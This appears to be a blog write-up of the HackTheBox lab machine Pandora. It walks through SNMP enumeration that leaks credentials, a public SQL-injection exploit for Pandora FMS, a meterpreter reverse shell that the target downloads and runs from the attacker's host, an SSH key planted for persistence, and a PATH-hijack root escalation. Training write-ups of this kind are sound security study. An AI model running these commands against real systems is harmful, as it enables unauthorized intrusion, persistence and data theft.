Blog Pandora - HackTheBox
Post
Cancel

Pandora - HackTheBox

This HackTheBox can be found here.

Pandora is included in TJnull’s OSCP, OSEP, and OSWE list.

Recon

We’ll start with a Nmap scan:

1
 sudo nmap -sC -sV -p- -oN allports 10.10.11.136
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.136
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
|   256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_  256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing```
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Only ports for ssh and http are open. I’ll first add pandora.htb to my /etc/hosts file:

adding etc hosts


Now we can check out the website:

homepage


After looking at the site, there’s not much going on. I’ll run gobuster for directories, nikto for vulnerabilities, and ffuf for subdomains, but I don’t find anything from the tools.


Initial Foothold

After spending some more time looking around and not finding anything, I ran a Nmap scan for UDP ports:

1
sudo nmap -sU -T4 pandora.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT      STATE         SERVICE
161/udp   open          snmp
776/udp   open|filtered wpages
1025/udp  open|filtered blackjack
1761/udp  open|filtered cft-0
5555/udp  open|filtered rplay
6000/udp  open|filtered X11
11487/udp open|filtered unknown
17332/udp open|filtered unknown
20288/udp open|filtered unknown
20876/udp open|filtered unknown
22914/udp open|filtered unknown
42056/udp open|filtered unknown
49208/udp open|filtered unknown
49350/udp open|filtered unknown
64590/udp open|filtered unknown


SNMP is open, so lets use snmp-check against it:

1
snmp-check 10.10.11.136

snmp check


Since the community string is public, we can pull a ton of information from the host.

In the processes section, it looks like there was a process spawned with credentials passed in as arguments:

creds


Using these credentials, we can ssh into the target as danial:

1
ssh daniel@pandora.htb


After connecting, we can see that user.txt is in matt's home directory, and we don’t have access to it:

can't access the flag


Privilege Escalation - Shell as matt@pandora.htb


Let’s bring over linpeas to the system. First start a http server in the directory where linpeas is located:

1
python3 -m http.server 80


Now use wget to grab linpeas:

1
2
3
4
cd /tmp
wget http://<kali_IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Running linpeas


After looking at the linpeas output, there is an Apache virtual host that is configured to listen on localhost. It serves /var/www/pandora/:

virtual hosts


Let’s connect to the webpage through a SSH tunnel:

1
ssh -D 8085 daniel@pandora.htb

After opening the tunnel, configure a SOCKS5 proxy with FoxyProxy, and browse to http://localhost:


Foxy Proxy

pandora console


We can see that this is Pandora FMS v7.0NG.742. Let’s search for any exploits for this version:

1
searchsploit pandora

searchsploit


We have a lot of options, but first lets use proxychains4 to set up a SOCKS5 proxy to the target:

1
2
3
sudo nano /etc/proxychains4.conf
#Add the following line to the bottom of the file:
socks4  127.0.0.1 8085


Testing with curl tells us that the proxy is working:

1
curl http://localhost

curl


Most exploits require credentials. Looking within /var/www/pandora/pandora_console, there are two SQL dumps. When comparing them to var/www/pandora/pandora_console/audit.log we see that the admin credentials were changed after the dumps were created.


After some more enumeration and googling, I found that this version is vulnerable to unauthenticated SQL injection. You can use Burp for manual exploitation, but I’ll use an exploit script from here:

1
2
3
git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated.git
cd Pandora_v7.0NG.742_exploit_unauthenticated
proxychains4 ./pandora_exploit.sh ./sqlpwn.py -t localhost


We now have a php backdoor for the user matt. Let’s grab the user.txt flag:

1
cat /home/matt/user.txt

Grabbing the user flag

Privilege Escalation - Root.txt

Since we don’t have a true shell, but a basic php backdoor, lets upgrade our matt shell.

First, create a meterpreter payload:

1
 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=4443 -f elf -o shell.elf


Now start a metasploit listener:

1
2
3
4
5
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4443


And upload the payload:

1
2
3
4
5
6
#Start a http server in the same directory as the created payload
python3 -m http.server 80
#Now switch over to the php backdoor
wget http://<kali_IP>/shell.elf -o shell.elf
chmod +x shell.elf
./shell.elf


At this point, we should have a meterpreter session as matt:

shell as matt


We should run linpeas again since this user has different access. After uploading (not sure why my old linpeas.sh was missing) and running it, we can see an unknown SUID binary pandora_backup:

suid


Running it without sudo tells us it uses tar to back up the pandora files:

running suid


Now when we try to run with sudo, we get a permission error:

running sudu with sudo


At this point, I was totally stuck for a while as I went down the rabbit hole of that error. Eventually, it led me to this article that references an apache module named mpm_itk. I looked more into this and found the error could be due to my shell. Let’s drop our ssh key into Matt’s .authorized_keys file and ssh in:

1
2
3
4
5
6
#within the meterpreter session
cd /home/matt
mkdir .ssh
#Now drop into a shell
shell
echo <your id_rsa.pub> > .ssh/authorized_keys


Now, you can ssh to pandora.htb with your key:

ssh in as matt


Running pandora_backup now works:

pandora backup


Now we need to look at what this binary is doing. The host was missing most tools, so I used the meterpreter shell I still had to download it:

1
download /usr/bin/pandora_backup


Running strings pandora_backup shows us the full tar command executing:

full tar command

1
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*


ltrace ./pandora_backup shows us that it’s being called with system():

1
system("tar -cvf /root/.backup/pandora-b"...tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied


At this point, you can see tar isn’t being called with it’s full path, so we can edit our path variable to point to a tar file we control:

1
2
3
4
5
6
#within our ssh session as Matt
cd /tmp
echo "cat /root/root.txt" > tar
chmod +x tar
export PATH=/tmp:$PATH
pandora_backup


After running pandora_backup, the root flag should be printed to the screen:

root flag

Contents